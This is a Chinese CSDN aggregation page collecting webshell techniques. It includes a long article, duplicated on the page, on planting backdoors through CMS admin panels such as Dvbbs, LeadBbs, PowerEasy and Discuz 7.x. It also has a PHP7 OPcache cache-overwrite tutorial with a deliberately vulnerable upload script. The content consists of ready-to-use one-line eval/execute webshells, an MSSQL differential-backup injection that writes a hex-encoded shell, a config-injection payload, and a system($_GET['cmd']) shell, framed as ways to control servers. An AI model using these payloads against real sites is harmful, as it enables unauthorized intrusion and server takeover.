php7拿shell_php拿shell方法 - CSDN
精华内容
参与话题
  • 网站后台拿shell方法总结

    万次阅读 2015-03-18 23:19:19
    今日带给大伙的都是些手艺上的总结,有些人老问经验怎么来的,这个即是经验,盼愿大伙都能...在站历程中,我们凡是费了九牛两虎之力到办理员帐号和密码,并顺遂进入了后台,当然此时与到网站webshell还有一步之遥
    今日带给大伙的都是些手艺上的总结,有些人老问经验怎么来的,这个即是经验,盼愿大伙都能成为脚本妙手.
    动网上传漏洞,信任大伙拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然全国,现在这种漏洞已经根柢斗劲难见到了,不扫除一些小网站模拟仍是存在此漏洞。在拿站历程中,我们凡是费了九牛两虎之力拿到办理员帐号和密码,并顺遂进入了后台,当然此时与拿到网站webshell还有一步之遥,但仍是有良多新手因想不出合适的体例而被拒之门外。是以,我们把常用的从后台获得webshell的体例进行了总结和归纳,概略情形有以下十细腻面。
    详尽:若何进入后台,不是本文谈判规模,其具体体例就不说了,靠大伙去自己发挥。此文参考了前人的多方面的资料和信息,在此一并浮现感谢。
    一、直接上传获得webshell
    二、添加改削上传典型
    三、操纵后台办理功效写入webshell
    四、操纵后台办理向设置装备摆设文件写webshell
    五、操纵后台数据库备份及恢复获得webshell
    六、操纵数据库压缩功效
    七、asp+mssql系统
    八、php+mysql系统
    九、phpwind论坛从后台到webshell的三种体例
    一、直接上传获得webshell
    这种对php和jsp的一些轨范斗劲常见,MolyX BOARD即是其中一例,直接在神色图标办理上传.php典型,当然没有提醒,实在已经乐成了,上传的文件url应该是http://admin8.us/images/smiles/下,前一阵子的联众游戏站和163的jsp系统漏洞就可以直接上传jsp文件。文件名是原本的文件名,bo-博客后台可以可以直接上传.php文件,上传的文件路径有提醒。以及一年前很是流行的upfile.asp漏洞(动网5.0和6.0、早期的良多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站尽情可写目录中,从而拿到网站的办理员节制权限。
    二、添加改削上传典型
    现在良多的脚本轨范上传模块不是只答应上传正当文件典型,而年夜年夜都的系统是答应添加上传典型,bbsxp后台可以添加asa asP典型,ewebeditor的后台也可添加asa典型,经由过程改削后我们可以直接上传asa后缀的webshell了,还有一种情形是过滤了.asp,可以添加.aspasp的文件典型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传典型,这是php的一个特征,末尾的哪个只要不是已知的文件典型即可,php会将php.g1f作为.php来正常运行,从而也可乐成拿到shell。LeadBbs3.14后台获得webshell体例是:在上传典型中增添asp ,详尽,asp后背是有个空格的,然后在前台上传ASP马,当然也要在后背加个空格!
    三、操纵后台控制面板写入webshell
    上传漏洞根柢上补的也差不多了,所以我们进入后台后还可以经由过程改削相关文件来写入webshell。斗劲的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台改削设置装备摆设文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一体例是:添加一个新的友谊链接,在网站名称处写上冰狐最小马即可,最小马前后要肆意输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp即是我们想要的shell。
    四、操纵后台办理向设置装备摆设文件写webshell
    操纵”"”":”"//”等标识表记标帜结构最小马写入轨范的设置装备摆设文件,joekoe论坛,某某同学录,沸腾展望动静系统,COCOON Counter统计轨范等等,还有良多php轨范都可以,COCOON Counter统计轨范举例,在办理邮箱处添上cnhacker@admin8.us”:eval request(chr (35))//, 在配制文件中即是webmail=”cnhacker@admin8.us\”:eval request(chr(35))//”,还有一种体例即是写上 cnhacker@admin8.us”%><%eval request(chr(35))%><%’,这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时刻要选前者。再如动易2005,到文章中心办理-顶部菜单设置-菜单别的特效,插入一句话马”%><%execute request(“l”)%><%’,保 存顶部栏目菜单参数设置乐成后,我们就获得马地址http://网站/admin/rootclass_menu_config.asp。
    五、操纵后台数据库备份及恢复获得webshell
    重若是操纵后台对access数据库的“备份数据库”或“恢复数据库”功效,“备份的数据库路径”等变量没有过滤导致可以把尽情文件后缀改 为asp,从而获得webshell,msssql版的轨范就直接应用了access版的代码,导致sql版仍是可以操纵。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以检察并获得网页源代码,并获得更多的轨范信息增添获得webshell的机缘。在现实运用中凡是会碰着没有上传功效的时 候,可是有asp系统在运行,操纵此体例来检察源代码来获得其数据库的位置,为数据库插马来缔造机缘,动网论坛就有一个ip地址的数据库,在后台的ip办理中可以插入最小马然后备份成.asp文件即可。在谈谈冲破上传检测的体例,良多asp轨范期近使改了后缀名后也会提醒文件犯警,经由过程在.asp文件头加上gif89a改削后缀为gif来骗过asp轨范检测到达上传的方针,还有一种即是用记事本打开图片文件,肆意粘贴一部门复制到asp木马文件头,改削gif后缀后上传也可以冲破检测,然后备份为.asp文件,乐成获得webshell。
    六、操纵数据库压缩功效
    可以将数据的防下载失踪效从而使插入数据库的最小马乐成运行,斗劲典型的即是loveyuki的L-BLOG,在友谊添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操纵中压缩数据库,可以乐成压缩出.asp文件,用海洋的最小马的eval客户端连就获得一个webshell。
    七、asp+mssql系统
    这里需要提一点动网mssql版,可是可以直接当地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个当地提交的表单,代码如下:
    <form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method=”post”>
    <p>已上传文件的位置:<input name=”Dbpath” type=”text” size=”80″></p>
    <p>要复制到的位置:<input name=”backpath” type=”text” size=”80″></p>
    <p><input type=”submit” value=”提交”></p> </form>
    另存为.htm当地实施。把假图片上传路径填在“已上传文件的位置”何处,想要备份的WebShell的相对路径填写在“要复制到的位置”何处,提交就获得我们可爱的WebShell了,恢复代码和此类似,改削相关地方就可以了。没有碰着事后台实施mssql饬令斗劲强大的asp轨范后台,动网的数据库还原和备份是个摆设,不能实施sql饬令备份webshell,只能实施一些大略的盘问饬令。可以操纵mssql注入差别备份webshell,一样平常后台是浮现了绝对路径,只要有了注入点根柢上就可以差别备份乐成。下面是差别备份的主要语句代码,操纵动网7.0的注入漏洞可以用差别备份一个webshell,可以用操纵上面提到的体例,将conn.asp文件备份成.txt文件而获得库名。
    差别备份的主要代码:
    ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0×626273 backup database @a to disk=@s–
    ;Drop table [heige];create table [dbo].[heige] ([cmd] [image])–
    ;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)–
    ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT–
    这段代码中,0×626273是要备份的库名bbs的十六进制,可所以其他名字好比bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request(“l”)%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也即是你要备份的webshell路径。当然也可以用斗劲常见备份体例来获得webshell,独一的不够即是备份后的文件过年夜,若是备份数据库中有防下载的的数据表,概略有错误的asp代码,备份出来的webshell就不会乐成运行,操纵差别备份是乐成率斗劲高的体例,而且极年夜的淘汰备份文件的巨细。
    八、php+mysql系统
    后台需要有mysql数据盘问功效,我们就可以操纵它实施SELECT … INTO OUTFILE盘问输出php文件,因为全数的数据是存放在mysql里的,所以我们可以经由过程正常本事把我们的webshell代码插入mysql在操纵SELECT … INTO OUTFILE语句导出shell。
    就可以暴出路径,php情形中斗劲轻易暴出绝对路径:)。提一点的是碰着是mysql在win系统下路径应该这样写。下面的体例是斗劲常用的一个导出webshell的体例,也可以写个vbs添加系统办理员的脚本导出到启动文件夹,系统重起后就会添加一个办理员帐号
    就会在up目录下生成文件名为saiy.php内容为的最小php木马, 末尾用lanker的客户端来毗连。现实运用中要考虑到文件夹是否有写权限。概略输入这样的代码 将会在当前目录生成一个a.php的最小马。
    九、phpwind论坛从后台到webshell的三种体例
    体例1 模板法
    进入后台, 气概气派气概气派模版设置 ,在肆意一行写代码,记着,这代码必需顶着左边行写,代码前面不成以有任何字符。
    方始2 脏话过滤法
    体例3 用户品级办理
    以上三种体例获得webshellr的密码是a,为lanker的一句话后门办事端。
    十、也可以操纵网站访谒计数系统记实来获得webshell
    解决方法
    因为本文涉及的代码版本良多,所以不概略供给一个完竣的办理方案。有本事者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统操纵也可删除此文件。大伙若是不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大伙能时辰关注各年夜平安收集揭晓的最新通告,若自己发现相关漏洞也可实时看护官方网站。
    后记
    实在,从后台获得webshell的本事应该还有良多的,关头是要看大伙怎么无邪运用、举一反三,盼愿本文的体例能起到抛砖引玉的浸染。 列位加油吧,让我们将办事器节制到底!

    正进修后台拿Shell的体例,今日恰巧在网上瞥见获得后台拿shell的汇总全集,很不错的总结,分享了!版主给个精髓吧!??今日带给大伙的都是些手艺上的总结,有些人老问经验怎么来的,这个即是经验,盼愿大伙都能成为脚本妙手.??动网上传漏洞,信任大伙拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然全国,现在这种漏洞已经根柢斗劲难见到了,不扫除一些小网站模拟仍是存在此漏洞。在拿站历程中,我们凡是费了九牛两虎之力拿到办理员帐号和密码,并顺遂进入了后台,当然此时与拿到网站webshell还有一步之遥,但仍是有良多新手因想不出合适的体例而被拒之门外。是以,我们把常用的从后台获得webshell的体例进行了总结和归纳,概略情形有以下十细腻面。
    详尽:若何进入后台,不是本文谈判规模,其具体体例就不说了,靠大伙去自己发挥。此文参考了前人的多方面的资料和信息,在此一并浮现感谢。
    一、直接上传获得webshell?二、添加改削上传典型?三、操纵后台办理功效写入webshell四、操纵后台办理向设置装备摆设文件写webshell五、操纵后台数据库备份及恢复获得webshell六、操纵数据库压缩功效七、asp+mssql系统八、php+mysql系统?九、phpwind论坛从后台到webshell的三种体例

    一、直接上传获得webshell
    这种对php和jsp的一些轨范斗劲常见,MolyX BOARD即是其中一例,直接在神色图标办理上传.php典型,当然没有提醒,实在已经乐成了,上传的文件url应该是http://admin8.us/images/smiles/下,前一阵子的联众游戏站和163的jsp系统漏洞就可以直接上传jsp文件。文件名是原本的文件名,bo-博客后台可以可以直接上传.php文件,上传的文件路径有提醒。以及一年前很是流行的upfile.asp漏洞(动网5.0和6.0、早期的良多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站尽情可写目录中,从而拿到网站的办理员节制权限。
    二、添加改削上传典型
    现在良多的脚本轨范上传模块不是只答应上传正当文件典型,而年夜年夜都的系统是答应添加上传典型,bbsxp后台可以添加asa asP典型,ewebeditor的后台也可添加asa典型,经由过程改削后我们可以直接上传asa后缀的webshell了,还有一种情形是过滤了.asp,可以添加.aspasp的文件典型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传典型,这是php的一个特征,末尾的哪个只要不是已知的文件典型即可,php会将php.g1f作为.php来正常运行,从而也可乐成拿到shell。LeadBbs3.14后台获得webshell体例是:在上传典型中增添asp ,详尽,asp后背是有个空格的,然后在前台上传ASP马,当然也要在后背加个空格!

    三、操纵后台控制面板写入webshell
    上传漏洞根柢上补的也差不多了,所以我们进入后台后还可以经由过程改削相关文件来写入webshell。斗劲的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台改削设置装备摆设文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一体例是:添加一个新的友谊链接,在网站名称处写上冰狐最小马即可,最小马前后要肆意输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp即是我们想要的shell。
    四、操纵后台办理向设置装备摆设文件写webshell
    操纵”"”":”"//”等标识表记标帜结构最小马写入轨范的设置装备摆设文件,joekoe论坛,某某同学录,沸腾展望动静系统,COCOON Counter统计轨范等等,还有良多php轨范都可以,COCOON Counter统计轨范举例,在办理邮箱处添上cnhacker@admin8.us”:eval request(chr (35))//, 在配制文件中即是webmail=”cnhacker@admin8.us\”:eval request(chr(35))//”,还有一种体例即是写上 cnhacker@admin8.us”%><%eval request(chr(35))%><%’,这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时刻要选前者。再如动易2005,到文章中心办理-顶部菜单设置-菜单别的特效,插入一句话马”%><%execute request(“l”)%><%’,保 存顶部栏目菜单参数设置乐成后,我们就获得马地址http://网站/admin/rootclass_menu_config.asp。
    五、操纵后台数据库备份及恢复获得webshell
    重若是操纵后台对access数据库的“备份数据库”或“恢复数据库”功效,“备份的数据库路径”等变量没有过滤导致可以把尽情文件后缀改 为asp,从而获得webshell,msssql版的轨范就直接应用了access版的代码,导致sql版仍是可以操纵。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以检察并获得网页源代码,并获得更多的轨范信息增添获得webshell的机缘。在现实运用中凡是会碰着没有上传功效的时 候,可是有asp系统在运行,操纵此体例来检察源代码来获得其数据库的位置,为数据库插马来缔造机缘,动网论坛就有一个ip地址的数据库,在后台的ip办理中可以插入最小马然后备份成.asp文件即可。在谈谈冲破上传检测的体例,良多asp轨范期近使改了后缀名后也会提醒文件犯警,经由过程在.asp文件头加上gif89a改削后缀为gif来骗过asp轨范检测到达上传的方针,还有一种即是用记事本打开图片文件,肆意粘贴一部门复制到asp木马文件头,改削gif后缀后上传也可以冲破检测,然后备份为.asp文件,乐成获得webshell。
    六、操纵数据库压缩功效
    可以将数据的防下载失踪效从而使插入数据库的最小马乐成运行,斗劲典型的即是loveyuki的L-BLOG,在友谊添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操纵中压缩数据库,可以乐成压缩出.asp文件,用海洋的最小马的eval客户端连就获得一个webshell。

    七、asp+mssql系统
    这里需要提一点动网mssql版,可是可以直接当地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个当地提交的表单,代码如下:
    <form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method=”post”>
    <p>已上传文件的位置:<input name=”Dbpath” type=”text” size=”80″></p>
    <p>要复制到的位置:<input name=”backpath” type=”text” size=”80″></p>
    <p><input type=”submit” value=”提交”></p> </form>
    另存为.htm当地实施。把假图片上传路径填在“已上传文件的位置”何处,想要备份的WebShell的相对路径填写在“要复制到的位置”何处,提交就获得我们可爱的WebShell了,恢复代码和此类似,改削相关地方就可以了。没有碰着事后台实施mssql饬令斗劲强大的asp轨范后台,动网的数据库还原和备份是个摆设,不能实施sql饬令备份webshell,只能实施一些大略的盘问饬令。可以操纵mssql注入差别备份webshell,一样平常后台是浮现了绝对路径,只要有了注入点根柢上就可以差别备份乐成。下面是差别备份的主要语句代码,操纵动网7.0的注入漏洞可以用差别备份一个webshell,可以用操纵上面提到的体例,将conn.asp文件备份成.txt文件而获得库名。
    差别备份的主要代码:
    ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0×626273 backup database @a to disk=@s–
    ;Drop table [heige];create table [dbo].[heige] ([cmd] [image])–
    ;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)–
    ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT–
    这段代码中,0×626273是要备份的库名bbs的十六进制,可所以其他名字好比bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request(“l”)%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也即是你要备份的webshell路径。当然也可以用斗劲常见备份体例来获得webshell,独一的不够即是备份后的文件过年夜,若是备份数据库中有防下载的的数据表,概略有错误的asp代码,备份出来的webshell就不会乐成运行,操纵差别备份是乐成率斗劲高的体例,而且极年夜的淘汰备份文件的巨细。
    八、php+mysql系统
    后台需要有mysql数据盘问功效,我们就可以操纵它实施SELECT … INTO OUTFILE盘问输出php文件,因为全数的数据是存放在mysql里的,所以我们可以经由过程正常本事把我们的webshell代码插入mysql在操纵SELECT … INTO OUTFILE语句导出shell。?  就可以暴出路径,php情形中斗劲轻易暴出绝对路径:)。提一点的是碰着是mysql在win系统下路径应该这样写。下面的体例是斗劲常用的一个导出webshell的体例,也可以写个vbs添加系统办理员的脚本导出到启动文件夹,系统重起后就会添加一个办理员帐号?  就会在up目录下生成文件名为saiy.php内容为的最小php木马, 末尾用lanker的客户端来毗连。现实运用中要考虑到文件夹是否有写权限。概略输入这样的代码 将会在当前目录生成一个a.php的最小马。
    九、phpwind论坛从后台到webshell的三种体例
    体例1 模板法
    进入后台, 气概气派气概气派模版设置 ,在肆意一行写代码,记着,这代码必需顶着左边行写,代码前面不成以有任何字符。
    方始2 脏话过滤法
    体例3 用户品级办理
    以上三种体例获得webshellr的密码是a,为lanker的一句话后门办事端。
    十、也可以操纵网站访谒计数系统记实来获得webshell
    解决方法
    因为本文涉及的代码版本良多,所以不概略供给一个完竣的办理方案。有本事者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统操纵也可删除此文件。大伙若是不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大伙能时辰关注各年夜平安收集揭晓的最新通告,若自己发现相关漏洞也可实时看护官方网站。
    后记
    实在,从后台获得webshell的本事应该还有良多的,关头是要看大伙怎么无邪运用、举一反三,盼愿本文的体例能起到抛砖引玉的浸染。 列位加油吧,让我们将办事器节制到底!

    展开全文
  • dz7.0-7.2后台拿shell

    2019-05-08 00:43:30
    来源:网络 dz后台-全局-ucenter ip地址插入: 3EST\\’);...然后连 http://localhost/dz/config.inc.php成功! 以上我在dz7.0-dz.7.2最新官方下载版本测试通过。 本文转sinojelly51CT...

    来源:网络

    dz后台-全局-ucenter ip地址插入:

    3EST\\’);eval($_POST[a])?>;//

    保存后再插入一遍!然后连 http://localhost/dz/config.inc.php成功!

    以上我在dz7.0-dz.7.2最新官方下载版本测试通过。



















    本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/347427,如需转载请自行联系原作者

    展开全文
  • php7的Opcache getshell

    2020-07-06 06:20:57
    OPcache是一种通过解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高了PHP的执行效率。 先看下PHP的正常执行流程 1....

    OPcache基础

    OPcache是一种通过解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高了PHP的执行效率。
    先看下PHP的正常执行流程
    1.request请求(nginx,apache,cli等)
    2.Zend引擎读取.php文件
    3.扫描其字典和表达式
    4.解析文件
    5.创建要执行的计算机代码(成为Opcode)
    6.最后执行Opcode
    7.response返回
    每一次执行PHP都要执行一遍上面的步骤,如果PHP源码没有变化,那么Opcode也不会变化,显然没必要 我们看看使用Opcache之后
    避免重组编译 减少CPU和内存开销

    OPcache配置解读

    //开启opcache
    opcache.enable=1
    
    //CLI环境下,PHP启用OPcache
    opcache.enable_cli=1
    
    //OPcache共享内存存储大小,单位MB
    opcache.memory_consumption=128  
    
    //PHP使用了一种叫做字符串驻留(string interning)的技术来改善性能。例如,如果你在代码中使用了1000次字符串“foobar”,在PHP内部只会在第一使用这个字符串的时候分配一个不可变的内存区域来存储这个字符串,其他的999次使用都会直接指向这个内存区域。这个选项则会把这个特性提升一个层次——默认情况下这个不可变的内存区域只会存在于单个php-fpm的进程中,如果设置了这个选项,那么它将会在所有的php-fpm进程中共享。在比较大的应用中,这可以非常有效地节约内存,提高应用的性能。
    这个选项的值是以兆字节(megabytes)作为单位,如果把它设置为16,则表示16MB,默认是4MB
    opcache.interned_strings_buffer=8
    
    //这个选项用于控制内存中最多可以缓存多少个PHP文件。这个选项必须得设置得足够大,大于你的项目中的所有PHP文件的总和。
    设置值取值范围最小值是 200,最大值在 PHP 5.5.6 之前是 100000,PHP 5.5.6 及之后是 1000000。也就是说在200到1000000之间。
    opcache.max_accelerated_files=4000
    
    //设置缓存的过期时间(单位是秒),为0的话每次都要检查
    opcache.revalidate_freq=60
    
    //从字面上理解就是“允许更快速关闭”。它的作用是在单个请求结束时提供一种更快速的机制来调用代码中的析构器,
    从而加快PHP的响应速度和PHP进程资源的回收速度,这样应用程序可以更快速地响应下一个请求。把它设置为1就可以使用这个机制了。
    opcache.fast_shutdown=1 //如果启用(设置为1),OPcache会在opcache.revalidate_freq设置的秒数去检测文件的时间戳(timestamp)检查脚本是否更新。
    如果这个选项被禁用(设置为0),opcache.revalidate_freq会被忽略,PHP文件永远不会被检查。这意味着如果你修改了你的代码,然后你把它更新到服务器上,再在浏览器上请求更新的代码对应的功能,你会看不到更新的效果 强烈建议你在生产环境中设置为0,更新代码后,再平滑重启PHP和web服务器。 opcache.validate_timestamps=0 //开启Opcache File Cache(实验性), 通过开启这个, 我们可以让Opcache把opcode缓存缓存到外部文件中, 对于一些脚本, 会有很明显的性能提升. 这样PHP就会在/tmp目录下Cache一些Opcode的二进制导出文件, 可以跨PHP生命周期存在. opcache.file_cache=/tmp

    Docker漏洞环境搭建

    1.创建容器 

    创建php7.0的容器 将当前主机的web目录映射到容器中

    docker run -d -p 8888:80 --name php80  -v /var/www:/var/www/html --privileged=true --restart=always php:7.0

    2.找不到php.ini文件怎么办?

    通过这个方法搭建的时候发现php.ini找不到 这一点可以通过phpinfo函数找到 这个

     进入linux的/usr/local/etc/php  将目录下的 php.ini-development 文件复制一份到当前文件夹下名为php.ini 重启服务即可完美解决

     3.修改配置文件

    在php.ini中 找到如下配置;opcache.enable=0
    //修改成(去掉;注释,将0改成1)
    opcache.enable=1
    关闭时间戳验证
    ;opcache.validate_timestamps=1
    //修改成(去掉;注释,将1改成0)
    opcache.validate_timestamps=0
    设置Opcache缓存路径
    ;opcache.file_cache=
    //修改
    opcache.file_cache="/tmp/opcache"
    设置缓存优先级
    ;opcache.file_cache_only=0
    //修改
    opcache.file_cache_only=1
    在最后一行添加 用来引用opcache zend_extension=opcache.so 重启服务器生效

    4.添加漏洞页面

    在宿主机的web目录创建即可

    index.php

    <html>
        <body>
            <form action="upload-file.php" method="post" enctype="multipart/form-data">
                <label for="file">filename:</label>
                <input type="file" name="file" id="file" />
                <br/>
                <label for="filepath">filepath:</label>
                <input type="text" name="filepath" id="filepath" />
                <br/>
                <input type="submit" name="submit" value="submit" />
            </form>
        </body>
    </html>

    upload-file.php

    <?php
        $path = $_POST['filepath'];
        echo "filename: " . $_FILES["file"]["name"] . "<br />";  
        echo "type: " . $_FILES["file"]["type"] . "<br />";  
        echo "size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";   
        move_uploaded_file($_FILES["file"]["tmp_name"],  $path . $_FILES["file"]["name"]);  
        echo "save : " . $path . $_FILES["file"]["name"];    
    ?>

    phpinfo.php

    <?php
        phpinfo();
    ?>

    Opcache漏洞复现

    假设目标站点已经又一个phpinfo()文件了,通过这个文件可以得到Opcache缓存目录,还需要下一步计算system_id
    system_id是当前PHP版本号,Zend扩展版本号以及各个数据类型大小的MD5哈希值
    脚本地址:https://github.com/GoSecure/php7-opcache-override
    此时可以利用上传漏洞将文件上传到web目录,但是目录没有读写的权限,这时候就可以通过/tmp/opcache/[system_id]/var/www/index.php.bin为一个webshell的二进制缓存运行webshell
     
    本地构建webshell文件index.php
    <?php
       system($_GET['cmd']);
    ?>
    1.在本地php.ini中设置opcache.file_cache为你所想要指定的缓存目录

    2.运行php服务器向index发送请求,触发缓存疫情进行文件缓存

    3.打开缓存目录中的index.php.bin文件修改里面的的system_id为目标站点的system_id  记事本打开就ok改成我们用脚本计算出来的system_id值

    4.通过上传漏洞将修改后的index.php.bin上传到tmp/opcache/[system_id]/var/www/index.php.bin覆盖掉原来的index.php.bin
    重新访问index.php,就成功运行了webshell

    漏洞修补:

       禁用file_cache_only
       启用validate_timestamp

    参考引用+其他延伸

    CTF题
    https://ctf.rip/asis-ctf-2016-binarycloud-web-challenge/
    https://github.com/tothi/ctfs/tree/master/alictf-2016/homework
    php安装后找不到php.ini
    利用PHP的OPcache机制getshell/
    https://chybeta.github.io/2017/05/13/利用PHP的OPcache机制
    http://www.vuln.cn/6763
    展开全文
  • 方法: 编辑模板的时候写入这几行,拆开写一句话,就行了. &lt;!--{eval $content = "@eval(\$_POST[c])"...php ".$content."?&gt;";}--&gt; &lt;!--{eval fputs(fopen(S_ROOT

    方法:

    编辑模板的时候写入这几行,拆开写一句话,就行了.
    <!--{eval $content = "@eval(\$_POST[c])";}-->
    <!--{eval $test1 = "<"."?"."php ".$content."?>";}-->
    <!--{eval fputs(fopen(S_ROOT.'./templates/default/model_cache.php','w+'),$test1);}-->

    展开全文
  • 利用msf生成后门拿shell

    千次阅读 2017-11-15 23:31:38
    win7 x86: 192.168.26.128 先在kali终端输入msfvenom -l,打开payload目录 然后找到payload windows/meterpreter/reverse_tcp 输入以下命令生成后门qq.exe 然后将生成的qq.exe移到win7中,...
  • 【sql注入教程】mysql注入直接getshell

    万次阅读 2016-08-31 11:25:05
    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了 3:要有file权限...
  • 今天发现在使用定时器的时候,执行一个shell脚本,打印日志正常,然后在系统中不能查到当前Shell脚本执行的结果。 因为使用的是Web程序,对于Shell调用这块也是新手。以前没有遇到过这种问题,只能靠猜了。 判断 ...
  • PHP执行shell_exec方法失败

    万次阅读 2020-05-06 11:56:28
    多半原因在php.ini文件中未打开方法权限 在php.ini开启即可
  • shell 脚本中,通常会使用相对路径来做处理,但有时候,我们也许需要用到绝对路径。 在shell怎么获取一个文件或目录的绝对路径呢? 也许你会立马想到realpath(如果你写过php的话),那么shell支持这个命令吗?看...
  • php中判断shell_exec执行结果

    万次阅读 2016-05-05 13:58:43
     不过shell_exec执行成功无输出 和 执行失败 返回的都是null 在记录错误日志的时候区分就成问题了。  在php手册的评论中找到了区分的方法,在此记录一下。   $shell = "wget -O despath sourcepath && echo
  • exec 与shell_exec的区别

    万次阅读 2016-11-01 14:41:29
    手册 shell_exec函数运行在shell脚本环境,没有返回值 shell_exec (PHP 4, PHP 5, PHP 7) shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 说明 string shell_exec ( ...
  • linux下PHP7环境搭建

    万次阅读 2016-03-29 00:03:16
    LAMP环境版本 操作系统:Centos 7Mysql:5.7.11Apache:2.4.18PHP:7.0.4 安装Mysql 下载链接:http://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.11.tar.gz ...shell> groupadd mysql
  • 漏洞概况 ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码...由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。 漏洞危害 攻击者可通过该漏洞获取...
  • shell脚本每隔几秒执行

    万次阅读 2019-05-31 17:36:04
    whiletrue do cmd(shell 命令) sleep x(x为秒数) done
  • WORDPRESS后台拿SHELL的方法

    千次阅读 2010-12-17 17:12:00
    WORDPRESS后台拿SHELL的方法
  • Centos7shell脚本添加开机自启动

    万次阅读 2018-07-20 10:24:55
    nohup /usr/bin/php -f /data/aliyun51015cn/redisChannel/psubscribe.php &gt; psubscribe.log &amp;   1、赋予脚本可执行权限(/opt/script/psubscribe.sh是你的脚本路径) # chmod ...
  • phpweb后台拿shell方法

    千次阅读 2016-11-19 09:06:58
    首先登录后台admin.php(默认后台admin.php) 有的phpweb网站存在万能密码登录 帐号密码都输入:admin 'or '1'='1直接登录 登录后台管理系统后,然后把下面的文件保存为xxx.html,修改action,把www.xxx.com ...
  • SQL注入写WebShell方式小结

    万次阅读 2018-12-09 11:08:43
    传统的SQL语句写shell 通过SQL注入select into outfile实现,如: 1' union select 1,'&lt;?php eval($_POST[a]);?&gt;' INTO OUTFILE '/var/www/tmp/nb.php'# sqlmap写shell 前提都是需要对目标目录...
  • linux下使用shell发送http请求

    万次阅读 2017-11-23 10:29:42
    本文主要介绍如何在linux下使用shell发送http请求。一、curl1. get请求curl命令默认下就是使用get方式发送http请求。curl www.baidu.com2. post请求使用-d参数,形式如下:curl -d "param1=value1¶m2=value2" ...
  • PHPmyadmin漏洞和拿shell

    万次阅读 2017-04-06 18:32:31
    phpmyadmin的漏洞相对来说,还是比较多的,对于新手来说,分享几个漏洞,深入的处于代码审计方面的也可以和我讨论 ... phpmyadmin2.11.9.2 这个版本存在空口令。...找这个的话 用自己的写的脚本,或者搜素引擎什么的,这
1 2 3 4 5 ... 20
收藏数 115,327
精华内容 46,130
关键字:

php7拿shell